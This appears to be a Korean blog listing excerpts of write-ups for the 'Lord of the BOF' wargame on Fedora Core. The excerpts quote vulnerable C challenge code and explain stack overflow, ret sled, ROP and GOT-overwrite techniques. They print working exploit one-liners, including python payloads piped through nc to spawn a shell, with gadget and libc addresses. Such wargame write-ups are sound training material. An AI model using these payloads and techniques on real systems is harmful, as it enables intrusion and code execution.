/* The Lord of the BOF : The Fellowship of the BOF - titan - Remote BOF on Fedora Core 4 - hint : ? - port : TCP 8888*/ #include #include #include #include static char buffer[40];static void (*ftn)(); void print(){ printf("nothing here\n");fflush(stdout);} int main(){ char buf[48]; ftn = print; printf("titan : What a tragic mistake.\n"); printf("you : "); fflush(stdout); // give me a food fgets(..
엌ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 풀어놓고 포스팅을 까먹었음ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 지금이라도 포스팅 해볼게여 /* The Lord of the BOF : The Fellowship of the BOF - enigma - Remote BOF on Fedora Core 4 - hint : ? - port : TCP 7777*/ #include #include #include #include int vuln(int canary,char *ptr){ char buffer[256]; int *ret; // stack overflow!!strcpy(buffer,ptr)..
C0DE 는 이렇네여 분명 코드 자체는 LOB Redhat 1번 급인데 보호기법이 적용되니 장난아니게 빡세지는;; 일단 메모리 봐서 안변하는 부분을 overwrite할거니 찾아봐여 저기 동그라미 친데가 안변하는거 같으니 저기로! 저기 0x008cad3c 에 심볼릭 걸고 저기 전까지 retseld 로 밀어영 계획 귀찮으니 공격 ㄱ 아 그리고 execve로 하려 했는데 이상하게 안되서 execl 썼습니당 "`python -c 'print "A"*260 + "\x51\x84\x04\x08"*7 +"\x68\x2d\x83\x00"'`" 함수 주소 구하는거랑 심볼릭은 전에도 했으니 생략 y34h~!
스킵했다가 이제야 올리네요;;허허 코드는 음 sfp overwrite 막고, 끝이네여 그 system 내부에 do_system 이라는 함수가 있는데 do_system 에서 execve 를 이용해 shell+인자 구성을 해줍니다. 고로 do_system 에서 execve를 call 하는 부분을 찾아서 이부분으로 eip를 돌리면 명령어 치는대로 실행 될거에요 저기 보이는 저 주소에요 계획은 LOB 1번 보시고 오면 되고 공격 ㄱㄱ(python -c 'print "A"*268 + "\x84\x07\x75\x00"';cat) | nc localhost 7777 Y3S~~! FC3 끝
클리어
코드를 보면 로컬 -> 원격 으로 바뀐거 밖에 안되지만 왠지 모르게 전문제 익스는 안먹더군요 그래서 printf@got 를 바로 덮는거 보다 bbs를 덮고 printf@got를 bbs로 덮기로 했습니다. bbs 는 이렇게 구하는데 저기있는 08049868 이 bbs입니다. 나머지 가젯은 알아서 찾으시고 (귀찮) 계획만 바로 세워보면 dummy[268] + strcpy@plt + ppr + bbs[0] + c0 + strcpy@plt + ppr + bbs[1] + 07 . . . .. . .+ strcpy@plt + ppr + printf@got + bbs + printf@plt + ABCD + /bin/sh 정도가 되고 익스는(python -c 'print "A"*268 + "\x38\x84\x04\x0..
level3 은 일단 스킵 해놓고 이거부터 하죠! 포션 2개를 보면 대놓고 ROP 하라는 것 고로 ROP 를 할것인데 힌트인 GOT Overwrite 를 생각해서 printf의 got 를 system 로 덮어서 하는걸로 필요한건 system , printf@plt, printf@got, strcpy@plt, PPR , /bin/sh정도가 필요합니다. 차례로 구해보면 printf@plt : 0x8048424 printf@got : 0x8049884 strcpy@plt : 0x8048494 system: 0x7507c0 /bin/sh : 0x833603 PPR : 0x804854f 이렇게 구하고 보니 printf@got 를 덮기 위해서 c0, 07, 75, NULL 도 알아야 하네요. 바로 구해봅시다. ob..
FC3의 Level 2 를 풀다가보니 힌트가 ret sled 가 주어져서 이게 뭔가.... 하고 찾아보니 ret에 ret 주소를 쓰고 또 ret에 ret 주소를 써서 스택 주소 입력제한(?) 같은것을 우회하는 기법이라 합니다. 이를 보고 어디서 연습해보지.... 했는데 LOB RedHat RTL1 번이 ret에 스택 주소를 못걸게 되있는 구조로 되어있길래 이를 우회해서 0xbf?????? 모양의 주소를 넣어 쉘을 실행시켜 보겠습니다! 코드는 생략하고 ret 주소를 찾아 보겠습니다 찾을거도 없이 그냥 disas main 하면 나와영... 환경변수에 shellcode 넣고 그 주소를 찾는건 생략 할게여 계획을 세워 보자면 dummy + sfp [44 byte] + ret에 ret주소[4 byte] + 환경변..
먼저 RedHat 이랑 비교해서 FC3에서 달라진점 Stack Dummy 추가Random StackASCII ArㅡorNON-Executable StackNON-Executable Heap Stack Dummy 추가는 변수들과 SFP, RET 사이에 필요없는 dummy 공간들이 채워진다는 거고Random Stack은 스택주소가 실행마다 랜덤하게 바뀌어서 shellcode를 넣어도 제대로된 주소로 못주는것ASCII Armor 은 라이브러리 함수 최상위 주소값이 0x00으로 고정되서 연속적 함수 호출 불가NON-* 은 각각에서의 실행권한을 없애는 것 즉 RedHat에 비해 겁나게 어려워요... 일단은 알고 넘어가고 Level1 소스코드부터 보죠 코드 자체는 매우 매우 쉽네요하지만 NON- 때문에 shellc..